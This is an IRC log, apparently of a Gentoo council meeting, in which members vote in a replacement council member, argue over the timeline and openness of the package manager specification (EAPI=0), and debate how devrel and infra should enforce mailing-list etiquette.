+Mar 08 15:04:30 <vapier> [14:50] <vapier> i guess in the future, we just need to make sure that no such retarded restrictions are put into place
+Mar 08 15:04:41 <kingtaco|work> vapier, noted
+Mar 08 15:05:21 <kingtaco|work> last month we decided that we could unanmiously approve the Nth person from the original council vote in for a reduced sentence to fill a vacancy
+Mar 08 15:05:24 * welp[lap] (n=welp@gentoo/developer/welp) has joined #gentoo-council
+Mar 08 15:05:32 <kingtaco|work> uberlord is #8, and flameeyes has quit
+Mar 08 15:05:36 <kloeri> right
+Mar 08 15:05:44 <Kugelfang> i think we can just commence voting, right?
+Mar 08 15:05:59 <kingtaco|work> or we could punt it if people want to ask him questions
+Mar 08 15:06:08 <vapier> UberLord is fine by me and seems the rest of community felt that way when we the vote happened last time
+Mar 08 15:06:11 <wolf31o2|mobile> I'm ready to vote on it
+Mar 08 15:06:15 <Kugelfang> dito
+Mar 08 15:06:25 <kingtaco|work> anyone not want to vote?
+Mar 08 15:06:29 <vapier> KingTaco: questions should have been asked before :p
+Mar 08 15:06:38 <kingtaco|work> vapier, agreed, but meh
+Mar 08 15:06:41 <kingtaco|work> ok
+Mar 08 15:06:46 <Kugelfang> he's a nice guy, capable and has a nice taste regarding beer
+Mar 08 15:06:55 <kingtaco|work> vote: bring uberlord in to replace flameeyes
+Mar 08 15:06:56 <Kugelfang> so let's vorte :-P
+Mar 08 15:07:01 <Kugelfang> yes
+Mar 08 15:07:14 <wolf31o2|mobile> yes
+Mar 08 15:07:15 <robbat2> yes
+Mar 08 15:07:20 <kingtaco|work> yes
+Mar 08 15:07:21 <kloeri> yes
+Mar 08 15:07:33 <Kugelfang> vapier:
+Mar 08 15:07:35 <vapier> <vapier> UberLord is fine by me
+Mar 08 15:07:40 <kingtaco|work> done
+Mar 08 15:07:45 <kingtaco|work> uberlord is accepted
+Mar 08 15:07:51 <kingtaco|work> and now marked as a slacker
+Mar 08 15:07:52 <wolf31o2|mobile> man, if only every topic went like that
+Mar 08 15:07:52 <Kugelfang> wherever he is right now
+Mar 08 15:08:07 <wolf31o2|mobile> would he be a slacker if he wasn't on the council prior to the meeting?
+Mar 08 15:08:14 <Kugelfang> i don't think so
+Mar 08 15:08:23 <kingtaco|work> ok, we let this one slide
+Mar 08 15:08:24 <wolf31o2|mobile> me either
+Mar 08 15:08:26 <wolf31o2|mobile> yup
+Mar 08 15:08:26 <Kugelfang> *g*
+Mar 08 15:08:29 <kloeri> has anybody pinged him about the meeting?
+Mar 08 15:08:32 <kingtaco|work> I did
+Mar 08 15:08:54 <kloeri> ok
+Mar 08 15:09:07 <kingtaco|work> aight
+Mar 08 15:09:09 <kingtaco|work> next business
+Mar 08 15:09:40 <kingtaco|work> anyone want to go first?
+Mar 08 15:09:46 <Kugelfang> PMS?
+Mar 08 15:09:52 <wolf31o2|mobile> go for it... it's your show
+Mar 08 15:09:56 <Kugelfang> is it?
+Mar 08 15:09:57 <Kugelfang> *g*
+Mar 08 15:10:03 <kingtaco|work> ok
+Mar 08 15:10:06 <kingtaco|work> I'll do pms
+Mar 08 15:10:08 <Kugelfang> ok, most council folks have a draft of PMS now
+Mar 08 15:10:08 <kingtaco|work> it's my topic
+Mar 08 15:10:22 <Kugelfang> who hasn't?
+Mar 08 15:10:31 <Kugelfang> robbat2: what about you?
+Mar 08 15:10:33 <robbat2> i haven't, mainly as I don't have time yet
+Mar 08 15:10:38 <Kugelfang> robbat2: want one?
+Mar 08 15:10:38 <robbat2> but an aside on that
+Mar 08 15:10:50 <kingtaco|work> there are a couple perceived problems with how the current PMS was developed
+Mar 08 15:10:54 <robbat2> i'll need to look soon, because i've got a note about tree-signing for later
+Mar 08 15:10:56 * spaetz (n=spaetz@v30439.1blu.de) has joined #gentoo-council
+Mar 08 15:11:02 <robbat2> Kugelfang, yes please
+Mar 08 15:11:02 <Kugelfang> robbat2: nod
+Mar 08 15:11:35 <kingtaco|work> 1. up until now, it's only included people from 2 of the 3 pkgmgrs
+Mar 08 15:11:52 <vapier> you mean 1 of the 3
+Mar 08 15:12:01 <kingtaco|work> apparently zmedico has access
+Mar 08 15:12:08 <vapier> k
+Mar 08 15:12:11 <kingtaco|work> I haven't been able to talk with him yet to confirm
+Mar 08 15:12:18 <kingtaco|work> I'm going to assume that Kugelfang wouldn't lie to me
+Mar 08 15:12:48 <Kugelfang> thanks :-)
+Mar 08 15:12:50 <Kugelfang> yes, he has access
+Mar 08 15:13:02 <wolf31o2|mobile> can we get a list of who has access?
+Mar 08 15:13:08 <Kugelfang> a rough one
+Mar 08 15:13:12 <Kugelfang> one seco
+Mar 08 15:13:15 <wolf31o2|mobile> sure... something close
+Mar 08 15:13:15 <wolf31o2|mobile> ok
+Mar 08 15:13:17 <vapier> regardless, i dont think that's been a detriment to the overall quality as a initial draft
+Mar 08 15:13:35 <vapier> spb/ciaranm know we wouldnt accept bullshit disguised as a spec
+Mar 08 15:13:39 <kingtaco|work> no, however as an accepted standard, it cannot exclude any interested party
+Mar 08 15:13:52 <kingtaco|work> it's not complete yet
+Mar 08 15:14:01 <kingtaco|work> they haven't finished, and there is still time to include pkgcore
+Mar 08 15:14:02 <kloeri> nobody is saying to exclude anybody for the final standard
+Mar 08 15:14:09 <vapier> right, nor is it described as such
+Mar 08 15:14:17 <kingtaco|work> however, it's taken much longer than any of us had initialy though
+Mar 08 15:14:31 <wolf31o2|mobile> +t
+Mar 08 15:14:31 <kingtaco|work> so here's my proposal
+Mar 08 15:14:34 <kloeri> and spb said earlier that it would probably be opened further in a couple of weeks so everybody can comment on it
+Mar 08 15:14:58 <kingtaco|work> why don't we label whatever portage ships with 2007.0 as the final EAPI=0
+Mar 08 15:15:08 <kingtaco|work> people can document it without deadlines
+Mar 08 15:15:16 <kingtaco|work> and we can go forward with EAPI=1
+Mar 08 15:15:31 <kingtaco|work> thoughts?
+Mar 08 15:15:35 <vapier> there's a deficiency or two in portage that i'd disagree with
+Mar 08 15:15:36 <Kugelfang> access: spb, ciaranm, pioto, , me, betelgeuse, all council except diego (no chance to give him)
+Mar 08 15:15:47 <kloeri> because we want the documentation and not some vague notion of whatever is supported at 2007.0 time imo
+Mar 08 15:15:59 <kingtaco|work> kloeri, it's been what, 6 months?
+Mar 08 15:16:00 <Kugelfang> access: zmedico, genone
+Mar 08 15:16:12 <Kugelfang> that's all who i remember right now
+Mar 08 15:16:18 <vapier> KingTaco: about, first discussed 20060914
+Mar 08 15:16:20 <kingtaco|work> it's taking too long and holding up other things
+Mar 08 15:16:31 <Kugelfang> kingtaco|work: PMS documents portage capabilities...
+Mar 08 15:16:38 <kloeri> kingtaco|work: maybe, but just ignoring documentation doesn't solve the lack of documentation and it should be open quite soon so it can be finished
+Mar 08 15:16:42 <kingtaco|work> Kugelfang, I know what it does
+Mar 08 15:16:51 <kingtaco|work> I'm trying to paralellize things
+Mar 08 15:17:00 <Kugelfang> i mean, this thing is almost finished
+Mar 08 15:17:06 <Kugelfang> as you pointed out yourself
+Mar 08 15:17:08 <kingtaco|work> so we're not hostage to ciaranms "priorities" and spbs master thesis
+Mar 08 15:17:45 <Kugelfang> honestly, ciaranm wasn't asked to do this... so why should we be hostage to his priorities?
+Mar 08 15:17:46 <kloeri> I think hostage is a bit strong tbh
+Mar 08 15:18:00 <kingtaco|work> I view EAPI=0as some snapshot
+Mar 08 15:18:03 <g2boojum> kingtaco|work: Perhaps I'm misunderstanding something, but somebody could have said "EAPI-0 is whatever portage does" years ago, but that doesn't docuement anything.  You'd still have to write up what it's doing.
+Mar 08 15:18:04 <Kugelfang> it's his voluntary contribution
+Mar 08 15:18:10 <kloeri> and it should be open soon so that everybody can work on it which is what you want I guess
+Mar 08 15:18:18 <kingtaco|work> g2boojum, yes, and in hindsight we should have
+Mar 08 15:18:21 <Kugelfang> licensed under CC-sa-3.0
+Mar 08 15:18:31 <Kugelfang> kingtaco|work: dude, it has been done
+Mar 08 15:18:34 <kingtaco|work> kloeri, don't second guess me, ask
+Mar 08 15:18:40 <Kugelfang> kingtaco|work: exactly what you say has been done
+Mar 08 15:19:07 <kloeri> kingtaco|work: ok, do you want it to be opened so that everybody can participate?
+Mar 08 15:19:19 <kingtaco|work> yes
+Mar 08 15:19:53 <Kugelfang> christel wants me to point out that she has access, too :-D
+Mar 08 15:20:01 <kingtaco|work> however, more than anything else, I want it to be done
+Mar 08 15:20:11 <kloeri> fine, we've been told that going to happen in a week or two most likely so why make some arbitrary decision about a random portage version shipped with 2007.0 being EAPI0 when we're so close?
+Mar 08 15:20:13 <Kugelfang> kingtaco|work: there is a list of fixmes
+Mar 08 15:20:14 <wolf31o2|mobile> if they say they're two weeks away, then I'm willing to wait those two weeks
+Mar 08 15:20:17 <g2boojum> kingtaco|work: You missed my point.  You'd still have to document it, which would likely take notably more time to do from scratch than waiting for spb's doc to be released, which would then at least serve as a starting point if you want to backtrack to a particular version of portage.
+Mar 08 15:20:23 * UberL (n=uberlord@rsm.demon.co.uk) has joined #gentoo-council
+Mar 08 15:20:35 * vapier gives voice to UberL
+Mar 08 15:20:39 >chanserv< list
+Mar 08 15:20:46 <Kugelfang> hey UberL
+Mar 08 15:20:47 >chanserv< list #gentoo-council
+Mar 08 15:20:48 <kingtaco|work> g2boojum, I don't think that doc is much different from what will be released as 2007.0
+Mar 08 15:20:53 * kingtaco|work gives channel operator status to UberL
+Mar 08 15:20:57 <UberL> soz I'm late guys
+Mar 08 15:21:03 <Kugelfang> slacker
+Mar 08 15:21:16 <wolf31o2|mobile> g2boojum: I think what Mike meant was that we would backtrack to 2.1.2.2 (which is what we're using for 2007.0) and everything beyond that, feature-wise, would be EAPI > 0
+Mar 08 15:21:18 <vapier> KingTaco: it may not be much different, but i think the few differences would make EAPI=0 -> EAPI=1 painful
+Mar 08 15:21:28 >chanserv< access #gentoo-council
+Mar 08 15:21:30 <kingtaco|work> g2boojum, makeing it coencide with a release gives a very nice test case as to if something is eapi0 compliant
+Mar 08 15:21:47 <Kugelfang> i disagree
+Mar 08 15:22:03 <kingtaco|work> known bugs aside
+Mar 08 15:22:20 <Kugelfang> so, how do you decide what is a bug without a spec?
+Mar 08 15:22:38 <kingtaco|work> I think they are all documented in our bugzilla
+Mar 08 15:22:51 <Kugelfang> i'm not sure about that
+Mar 08 15:22:56 <wolf31o2|mobile> nobody said we don't get a spec
+Mar 08 15:23:04 <kingtaco|work> then I have to ask why not?
+Mar 08 15:23:11 <kingtaco|work> if it's not filed as a bug then it's not a damn bug
+Mar 08 15:23:22 <Kugelfang> kingtaco|work: heh, even those bugs which haven't been found yet?
+Mar 08 15:23:28 <Kugelfang> nothgin is bug free
+Mar 08 15:23:54 <vapier> kingtaco|laptop: i think your initial post to the -dev list about deadlines was enough to get the final kick going
+Mar 08 15:23:59 <wolf31o2|mobile> jesus h christ... can we try to not be so damned pedantic for a change?
+Mar 08 15:24:08 <vapier> the current track for this to be opened before next council meeting is sufficient
+Mar 08 15:24:18 <Kugelfang> i think that's doable
+Mar 08 15:24:23 <kingtaco|work> we can't vote next council
+Mar 08 15:24:27 <wolf31o2|mobile> I agree with vapier... if they're on track to have it open by the next council meeting, I'm game
+Mar 08 15:24:32 <wolf31o2|mobile> no, not vote
+Mar 08 15:24:36 <kingtaco|work> it won't have sat for public review long enough
+Mar 08 15:24:41 <wolf31o2|mobile> just make sure it's open for comment before then
+Mar 08 15:24:59 <kingtaco|work> also, I've heard of someone else wanted to write the spec
+Mar 08 15:25:00 <wolf31o2|mobile> we definitely want a longer review period than a couple weeks
+Mar 08 15:25:12 <g2boojum> kingtaco|work: That's a Council-made rule, so the Council can make exceptions.  I'm not saying you should, just that you could.
+Mar 08 15:25:28 * g2boojum butts out, now
+Mar 08 15:25:29 <kingtaco|work> I don't see any vote on that document happening for at least 2 months
+Mar 08 15:25:29 <wolf31o2|mobile> there's nothing wrong with a competing spec
+Mar 08 15:25:34 <wolf31o2|mobile> agreed
+Mar 08 15:25:36 <kloeri> well, we can have competing specifications if we want
+Mar 08 15:25:37 <kingtaco|work> and thats if it went public in 2 weeks
+Mar 08 15:25:49 <kingtaco|work> in the mean time we're still stuck on eapi-0
+Mar 08 15:26:05 <kloeri> council will just have to vote on the final specification (same thing however many specs we have)
+Mar 08 15:26:08 <kingtaco|work> why should we waste 2 months when it's not needed?
+Mar 08 15:26:11 <Kugelfang> i just want to see who's going to write a 48 page spec on the package manager in the same time :-)
+Mar 08 15:26:26 <kingtaco|work> Kugelfang, write it in text and it'll be less than 20
+Mar 08 15:26:28 <robbat2> how about an in-between meeting?
+Mar 08 15:26:42 <robbat2> it's probably going to be a large discussion in council for the spec anyway
+Mar 08 15:26:44 <kloeri> we need the spec to be complete and accurate which takes time
+Mar 08 15:26:48 <kingtaco|work> vapier, wolf31o2|mobile and what happens when they miss their deadline
+Mar 08 15:26:49 <vapier> i think a competing spec is redundant
+Mar 08 15:26:50 <kloeri> no way to avoid that imo
+Mar 08 15:26:58 <kingtaco|work> I hate the idea of a competing spec
+Mar 08 15:27:01 <wolf31o2|mobile> kingtaco|laptop: *we* open it
+Mar 08 15:27:17 <kingtaco|work> but personality problems between the 2 groups almost dictate it
+Mar 08 15:27:18 <vapier> kingtaco|laptop: then we take it over
+Mar 08 15:27:25 <wolf31o2|mobile> kingtaco|laptop: if they're agreeing it can be opened by the next meeting, we just hold them to it
+Mar 08 15:27:32 <Kugelfang> it'S CC-sa-3.0, so i don't see a problem
+Mar 08 15:27:37 <vapier> ive given it a glance over and it looks good
+Mar 08 15:27:47 <kingtaco|work> Kugelfang, then why arn't we able to release it now?
+Mar 08 15:27:55 <Kugelfang> kingtaco|work: they haven't released it yet
+Mar 08 15:28:13 <kingtaco|work> ok, I'
+Mar 08 15:28:16 <Kugelfang> they want it released when all those little "fixmes" are gone
+Mar 08 15:28:23 <kingtaco|work> ok, I'm willing to hold my tounge for 1 more month
+Mar 08 15:28:25 <kingtaco|work> nothing more
+Mar 08 15:28:36 <kingtaco|work> it must be open for public review
+Mar 08 15:28:50 <Kugelfang> oh come one... nobody said it won't be
+Mar 08 15:28:55 <Kugelfang> -e
+Mar 08 15:29:01 <vapier> Kugelfang: before today, no one said it would be
+Mar 08 15:29:03 * The_Paya (i=the_paya@gentoo/developer/thepaya) has joined #gentoo-council
+Mar 08 15:29:09 <Kugelfang> vapier: sure
+Mar 08 15:29:17 <kingtaco|work> vapier, about 55 minutes ago to be exact
+Mar 08 15:29:17 <wolf31o2|mobile> no, nobody gave us a timeframe in which it would be
+Mar 08 15:29:31 <Kugelfang> vapier: spb always stated: "no public draft before they deem it ready, then public review"
+Mar 08 15:29:36 <wolf31o2|mobile> spb gave us a rough estimate today... 2 weeks... we're giving him 4... heh
+Mar 08 15:29:44 <vapier> Kugelfang: and that's too vague
+Mar 08 15:29:55 <Kugelfang> vapier: there's been enough mails on that on -dev
+Mar 08 15:30:10 <vapier> no, most of those e-mails were retarded and unrelated
+Mar 08 15:30:10 <Kugelfang> vapier: the pity is, that it all ended up in the ciaranm-drobbins flamefest
+Mar 08 15:30:21 <kingtaco|work> Kugelfang, the simple fact that there were that many emails shows that there is a very strong divide
+Mar 08 15:30:38 <Kugelfang> kingtaco|work: but not on the contents
+Mar 08 15:30:55 <kingtaco|work> Kugelfang, how could it be on the content?
+Mar 08 15:31:03 <kingtaco|work> the majority haven't seen it
+Mar 08 15:31:13 <Kugelfang> see the point? people discuss a thing they haven't had the chance to read yet..
+Mar 08 15:31:34 <kingtaco|work> see my point? people want to participate and an external group is telling them no
+Mar 08 15:31:36 <Kugelfang> this is the exact reason why i hadn't been published
+Mar 08 15:31:46 <vapier> regardless, i think it's settled for now ... the stuff spb posted looks good and will be opened to the public soonish
+Mar 08 15:32:00 <kingtaco|work> 1 month more
+Mar 08 15:32:02 <kingtaco|work> no more
+Mar 08 15:32:03 <Kugelfang> *g*
+Mar 08 15:32:07 <wolf31o2|mobile> agreed... next topic?
+Mar 08 15:32:16 <kingtaco|work> anyone disagree?
+Mar 08 15:32:22 <vapier> KingTaco: no, i'm with you on that
+Mar 08 15:32:49 <kingtaco|work> while everyones blood pressure is up, we may as well talk about things like devrel, mailing lists and nettiquette
+Mar 08 15:32:51 <kloeri> that's fine
+Mar 08 15:32:56 <wolf31o2|mobile> heh
+Mar 08 15:33:11 <wolf31o2|mobile> I picked the wrong week to quit huffing rubber cement
+Mar 08 15:33:13 <kingtaco|work> first
+Mar 08 15:33:14 <vapier> my blood pressure is throbbing
+Mar 08 15:33:23 <kingtaco|work> I think we need a vote of confidence in devrel
+Mar 08 15:33:31 <Kugelfang> do we?
+Mar 08 15:33:39 <kingtaco|work> I think maybe that'll help them start to enforce our netiquette
+Mar 08 15:33:39 <vapier> along what lines ?
+Mar 08 15:33:40 * windzor_ (n=windzor@82.143.229.82) has joined #gentoo-council
+Mar 08 15:33:47 <kingtaco|work> I worded that wrong
+Mar 08 15:33:54 <vapier> yeah you did ;)
+Mar 08 15:33:57 <kingtaco|work> here's what I want to say
+Mar 08 15:34:08 <kingtaco|work> I want devrel to start enforing netiquette
+Mar 08 15:34:15 <kingtaco|work> I don't care if people scream cabal
+Mar 08 15:34:16 <g2boojum> kingtaco|work: Better would be a notion of what you actually want them to enforce.
+Mar 08 15:34:18 <kloeri> well, there's a reason we don't try to ban people
+Mar 08 15:34:20 <kingtaco|work> I don't care if people leave
+Mar 08 15:34:24 * blubb (n=blubb@gentoo/developer/blubb) has joined #gentoo-council
+Mar 08 15:34:28 <vapier> be our wordstappo
+Mar 08 15:34:29 <kingtaco|work> I want a pleasant gentoo
+Mar 08 15:34:37 <kloeri> devrel doesn't believe it's going to help and it does nothing to solve the real problem imo
+Mar 08 15:34:39 <Kugelfang> vapier: precisely...
+Mar 08 15:34:50 <kingtaco|work> kloeri, and what are we going to do about that
+Mar 08 15:34:55 <kingtaco|work> do you need more people?
+Mar 08 15:35:01 <kingtaco|work> what can we do to help
+Mar 08 15:35:06 <kingtaco|work> it's devrel's job
+Mar 08 15:35:15 <kloeri> it removes people but the real problem is that people don't behave politely/properly/whatever
+Mar 08 15:35:19 * christel holds up hand
+Mar 08 15:35:24 <kingtaco|work> hahah
+Mar 08 15:35:29 <kingtaco|work> talking through +m I see
+Mar 08 15:35:33 * kingtaco|work gives voice to christel
+Mar 08 15:35:34 <Kugelfang> kingtaco|work: nothing... that's freedom of speech and freedom of action. If people want to behave like morons in public there is very little you can do about it
+Mar 08 15:35:40 <christel> thanks kingtaco|work :)
+Mar 08 15:35:47 <wolf31o2|mobile> kloeri: banning people from the lists, not necessarily... but reducing the requirements on devrel to suspend "repeat offenders" might just make them think about their actions before doing them, and that could decrease the flames a bit
+Mar 08 15:35:53 <kloeri> I don't know how to solve this problem as we have a hell of a lot of devs that happily attack other people and then refuses to accept that behaviour is part of the problem
+Mar 08 15:35:58 <kingtaco|work> Kugelfang, you are mistaken if you think there is absolute freedom around here
+Mar 08 15:36:06 <wolf31o2|mobile> kloeri: suspend said devs
+Mar 08 15:36:22 <kingtaco|work> Kugelfang, also your interpitation of free speech is incorrect
+Mar 08 15:36:24 <wolf31o2|mobile> I know on at least one occasion I probably should have been suspended... heh
+Mar 08 15:36:28 <christel> i believe (as devrel and conflict res) that we need more defined chain of command, responsibility and *abilities* for devrel and crp to be able to execute anything at all
+Mar 08 15:36:31 <kloeri> there's some devs that are persistently poisoning the project that I want to deal with but that's not just related to mailinglists
+Mar 08 15:36:37 <kingtaco|work> you're free to say whatever, not you're free to say whatever on my soapbox
+Mar 08 15:36:38 <kloeri> wolf31o2|mobile: and users?
+Mar 08 15:36:48 <Kugelfang> kingtaco|work: so, how do you control non-devs on public mailing lists?
+Mar 08 15:36:52 <Kugelfang> kingtaco|work: banning won't work
+Mar 08 15:36:59 <kingtaco|work> Kugelfang, I have an idea for that
+Mar 08 15:37:05 <Kugelfang> kingtaco|work: moderation?
+Mar 08 15:37:08 <kingtaco|work> no
+Mar 08 15:37:11 <kingtaco|work> I hate moderation
+Mar 08 15:37:16 <Kugelfang> me too
+Mar 08 15:37:22 <kingtaco|work> so
+Mar 08 15:37:24 <kloeri> gentoo being as open as possible is one of our core values imo and one of the things that define our community
+Mar 08 15:37:30 <wolf31o2|mobile> kloeri: I have no answer for users
+Mar 08 15:37:33 <kloeri> I'd rather not do anything to hurt that
+Mar 08 15:37:42 <christel> i believe bans should be a very very last resort, but at the same time i believe that the etiquette policy should be enforced (ie. warn warn suspend or similar)
+Mar 08 15:37:51 <kingtaco|work> kloeri, but it's being hurt none the less
+Mar 08 15:38:04 <vapier> there's also the issue of leading by example
+Mar 08 15:38:21 <Kugelfang> vapier: yeah, seemant had nice blog posts on those
+Mar 08 15:38:32 <wolf31o2|mobile> christel: agreed... I think we need to be a bit more strict on our developers... after all, in the flames involving users, developers are just as much at fault as the users... perhaps if the devs didn't respond in kind, the flames would subside much quicker, etc
+Mar 08 15:38:35 <kloeri> kingtaco|work: yes, but should we hurt it more?
+Mar 08 15:38:42 <vapier> i think if we were all to act like g2boojum ...
+Mar 08 15:38:45 <kingtaco|work> kloeri, I'd argue that you'd hurt it less
+Mar 08 15:38:53 <christel> wolf31o2|mobile: yeah
+Mar 08 15:38:54 * g2boojum blushes
+Mar 08 15:39:14 <christel> one of the things i think is important is that whomever sits at the top of a chain of command plays no favours
+Mar 08 15:39:17 <kingtaco|work> shit, work IRQ, continue discussing, I'll be back in 3
+Mar 08 15:39:39 <wolf31o2|mobile> right
+Mar 08 15:39:39 <g2boojum> christel: Um, the etiquette guide is actually a bit too broad, and possibly insufficiently vague.  You don't really want to ban somebody for messing up the ChangeLog, but that's in that guide.
+Mar 08 15:40:00 <wolf31o2|mobile> so should we work together to have the guide updated?
+Mar 08 15:40:14 <christel> g2boojum: yes, i believe that if it was to be enforced it needs to be revised and be very very very clear on what goes and what doesnt
+Mar 08 15:40:52 * windzor_ has quit (Client Quit)
+Mar 08 15:41:14 <Kugelfang> christel: do you think you could write it up?
+Mar 08 15:41:26 <kloeri> I don't want to ban anybody but I do want to be much harder on devs poisoning things consistently and I'm going to file at least one devrel bug in that regard
+Mar 08 15:41:31 <christel> i can certainly give it a try and come up with a proposal
+Mar 08 15:41:31 <Kugelfang> christel: in say, 14 days? SO we can discuss it next month?
+Mar 08 15:41:55 <kloeri> one of the problems (as always) is that it's damn hard to punish devs due to our policies
+Mar 08 15:42:04 * ndansmith (n=ndansmit@c-67-168-234-215.hsd1.or.comcast.net) has joined #gentoo-council
+Mar 08 15:42:27 <kingtaco|work> http://lwn.net/Articles/224615/
+Mar 08 15:42:27 <vapier> is it ?
+Mar 08 15:42:29 <christel> perhaps in light of the effects our current style has on the project it may be worth revisiting whether our current policies are the best ones for the projects future health
+Mar 08 15:42:30 * kloeri gives voice to seemant
+Mar 08 15:42:31 <wolf31o2|mobile> kloeri: then the policies should be modified... and I think we'd support that
+Mar 08 15:42:32 <vapier> or is it a matter of reluctance
+Mar 08 15:42:35 <kingtaco|work> btw, that's how we're represented
+Mar 08 15:42:38 <seemant> thanks kloeri
+Mar 08 15:42:39 <g2boojum> christel: I actually think you want it to be more vague than specific.  "Don't be a jerk."  Please don't define "jerk", or you get a five-page treatise on why the bahavior doesn't really fit the definition.
+Mar 08 15:42:56 <christel> g2boojum: no, dont worry :)
+Mar 08 15:42:57 <kingtaco|work> something for all of us to chew on
+Mar 08 15:43:04 <seemant> I just wanted to add that ubuntu's code of conduct document seems to be frequently cited as a starting point
+Mar 08 15:43:05 <kloeri> policies are currently aiming at being fair to everybody and not too inefficient
+Mar 08 15:43:22 <seemant> but yes, what I wanted to really say, g2boojum said very nicely :)
+Mar 08 15:43:25 <christel> seemant: yeah, thats one that popped to mind as one to look at before writing a proposal, thanks though :)
+Mar 08 15:43:26 <kloeri> which means it's still likely to take at least a month I guess to process any serious devrel complaint
+Mar 08 15:43:37 <seemant> we really need to be careful in adopting document upon document upon document
+Mar 08 15:43:38 <kingtaco|work> kloeri, your devrel process is too long
+Mar 08 15:43:54 <seemant> honestly, a streamlined doc would go far better, imho
+Mar 08 15:43:57 <Kugelfang> kingtaco|work: that's acutally quite pointy (and a bit funny)
+Mar 08 15:43:59 <kingtaco|work> you need a way to reach a decision in hours or days, not weeks
+Mar 08 15:44:10 <kingtaco|work> Kugelfang, pointy?
+Mar 08 15:44:17 <kloeri> kingtaco|work: yes, I'd probably agree with that but it's hard defining a good policy as we still want to be fair I believe
+Mar 08 15:44:27 <Kugelfang> kingtaco|work: sorry, looking it up
+Mar 08 15:44:33 <christel> i think for the most part it can be made pretty simple..
+Mar 08 15:44:38 <seemant> and, as beandog has mentioned -- the forums are fairly moderated but there isn't a standard set of guidelines for doing so
+Mar 08 15:44:44 <christel> respect, common sense and no asshattery :)
+Mar 08 15:44:51 <Kugelfang> kingtaco|work: poignant
+Mar 08 15:45:03 <seemant> christel: essentially, yes
+Mar 08 15:45:03 <Kugelfang> kingtaco|work: or keen
+Mar 08 15:45:37 <kingtaco|work> Kugelfang, being a devrel member through both of ciaranms firings and a bunch of other shit I've had an in depth look at it
+Mar 08 15:45:48 <kingtaco|work> not saying that dmwaters or fmccor ran it any better
+Mar 08 15:45:50 <Kugelfang> kingtaco|work: hu?
+Mar 08 15:46:00 <Kugelfang> kingtaco|work: i was refering to the lwn thing
+Mar 08 15:46:06 <kingtaco|work> Kugelfang, oh
+Mar 08 15:46:14 <kingtaco|work> Kugelfang, yes, it's a fucking shame
+Mar 08 15:46:18 <robbat2> on the side of devrel not having 'teeth' - kloeri mentioned before that infra previously wasn't very responsive to requests to do things (he cited a userrel request to remove user from the ML)
+Mar 08 15:46:18 <kingtaco|work> but it's true
+Mar 08 15:46:26 <Kugelfang> kingtaco|work: i find it humorous, and i guess the author too
+Mar 08 15:46:37 <kloeri> I think the current policy is much better than what we've had before and devrel is doing much more to stop flames also (even though most of our work isn't public)
+Mar 08 15:46:59 <kloeri> there's still room for quite a bit of improvement though imo
+Mar 08 15:47:33 <kloeri> robbat2: that's one of the problems - it's no use having to wait for infra for 2-3 weeks as has happened in the past
+Mar 08 15:47:45 <wolf31o2|mobile> if infra is the holdup, can we get some scripts to allow devrel to do some of these tasks themselves?
+Mar 08 15:47:45 <kingtaco|work> kloeri, tbh, I haven't seen devrel do anything to cut down the flames
+Mar 08 15:47:52 <kingtaco|work> infra isn't the hold up
+Mar 08 15:47:55 <kingtaco|work> I'm infra
+Mar 08 15:48:06 <kingtaco|work> don't pwn it off on infra
+Mar 08 15:48:07 <wolf31o2|mobile> I did prefix that with an "if"
+Mar 08 15:48:08 <wolf31o2|mobile> :P
+Mar 08 15:48:19 <kingtaco|work> it may have been the problem in the past, it's certainly no longer the case
+Mar 08 15:48:27 * windzor_ (n=windzor@82.143.229.82) has joined #gentoo-council
+Mar 08 15:48:37 <kloeri> infra has been the holdup in the past and several people have simply given up on enforcing things if infra is involved because of past experience
+Mar 08 15:48:47 <kingtaco|work> ok
+Mar 08 15:48:47 <robbat2> kingtaco|work, I think it's more of a problem of previous infra people. Ramereth's TODO list is a few miles long
+Mar 08 15:48:58 <christel> yeah, i must admit ive stopped going to infra due to 'no's :x
+Mar 08 15:49:09 <kingtaco|work> here's me as infra telling you we're waiting for devrel to tell us their enforcement stuff
+Mar 08 15:49:19 <christel> but that is as much my fault (for not fighting it) as anyone elses
+Mar 08 15:49:20 <kingtaco|work> understood?
+Mar 08 15:49:36 <kingtaco|work> let whatever happened in the past lie
+Mar 08 15:49:38 <kloeri> I'm still not going to ban people as I think that's a horrible idea :)
+Mar 08 15:49:45 <Kugelfang> any examples?
+Mar 08 15:50:02 <kloeri> but I'm most certainly going to smack down on devs causing problems all the time
+Mar 08 15:50:02 <christel> kingtaco|work: are infra in a position to act on devrels request or will infra still overrule a devrel decision? :)
+Mar 08 15:50:03 <kingtaco|work> kloeri, we're not asking you to ban people
+Mar 08 15:50:23 <kingtaco|work> kloeri, we're telling you to implement something that will cut down on flaming
+Mar 08 15:50:26 <christel> kingtaco|work: i believe marienz has a couple of things he'd like to say
+Mar 08 15:50:31 * windzor has quit (Read error: 110 (Connection timed out))
+Mar 08 15:50:33 * Kugelfang gives voice to marienz
+Mar 08 15:50:42 <marienz> oh, heh.
+Mar 08 15:50:58 <kingtaco|work> christel, infra has never "overruled" devrel, knock it off.  we've told you that some thing are simply infeasable
+Mar 08 15:51:02 <christel> i have a question, if we are to start enforcing etiquette policy, i think we may want to ensure we have one which also cover users
+Mar 08 15:51:07 <marienz> from a userrel pov instead of a devrel pov: we filed at least one bug against infra that wasn't not acted on because they had no time, but because they thought it was a bad idea.
+Mar 08 15:51:12 <kloeri> kingtaco|work: one possible idea that came up was to delay messages of people contributing to flames instead of banning them but I have no idea if that's possible at all
+Mar 08 15:51:23 <christel> kingtaco|work: actually, i believe it was more 'we think its stupid' :)
+Mar 08 15:51:38 <kingtaco|work> kloeri, I think wolf31o2 can answer that, he's been helping with the ML stuff
+Mar 08 15:51:48 <Kugelfang> marienz: bug #?
+Mar 08 15:51:52 <seemant> christel: just for gentoofication of guidelines, the forums people use these (thanks tomk): https://forums.gentoo.org/viewtopic-t-525.html and https://forums.gentoo.org/viewtopic-t-120351.html
+Mar 08 15:51:54 <marienz> I'm not sure if that has happened to devrel requests or not
+Mar 08 15:52:04 <marienz> Kugelfang: the dev-help ml one, let me look it up...
+Mar 08 15:52:10 <christel> thank you seemant
+Mar 08 15:52:12 <kingtaco|work> christel, what did I just say about letting the past lie?
+Mar 08 15:52:14 <wolf31o2|mobile> I don't think it is
+Mar 08 15:52:27 <marienz> Kugelfang: https://bugs.gentoo.org/show_bug.cgi?id=130886
+Mar 08 15:52:28 <christel> kingtaco|work: i was just correcting you ;)
+Mar 08 15:52:50 <christel> (and im still waiting for you to answer my question)
+Mar 08 15:53:11 <kingtaco|work> which question? infra overruling devrel?
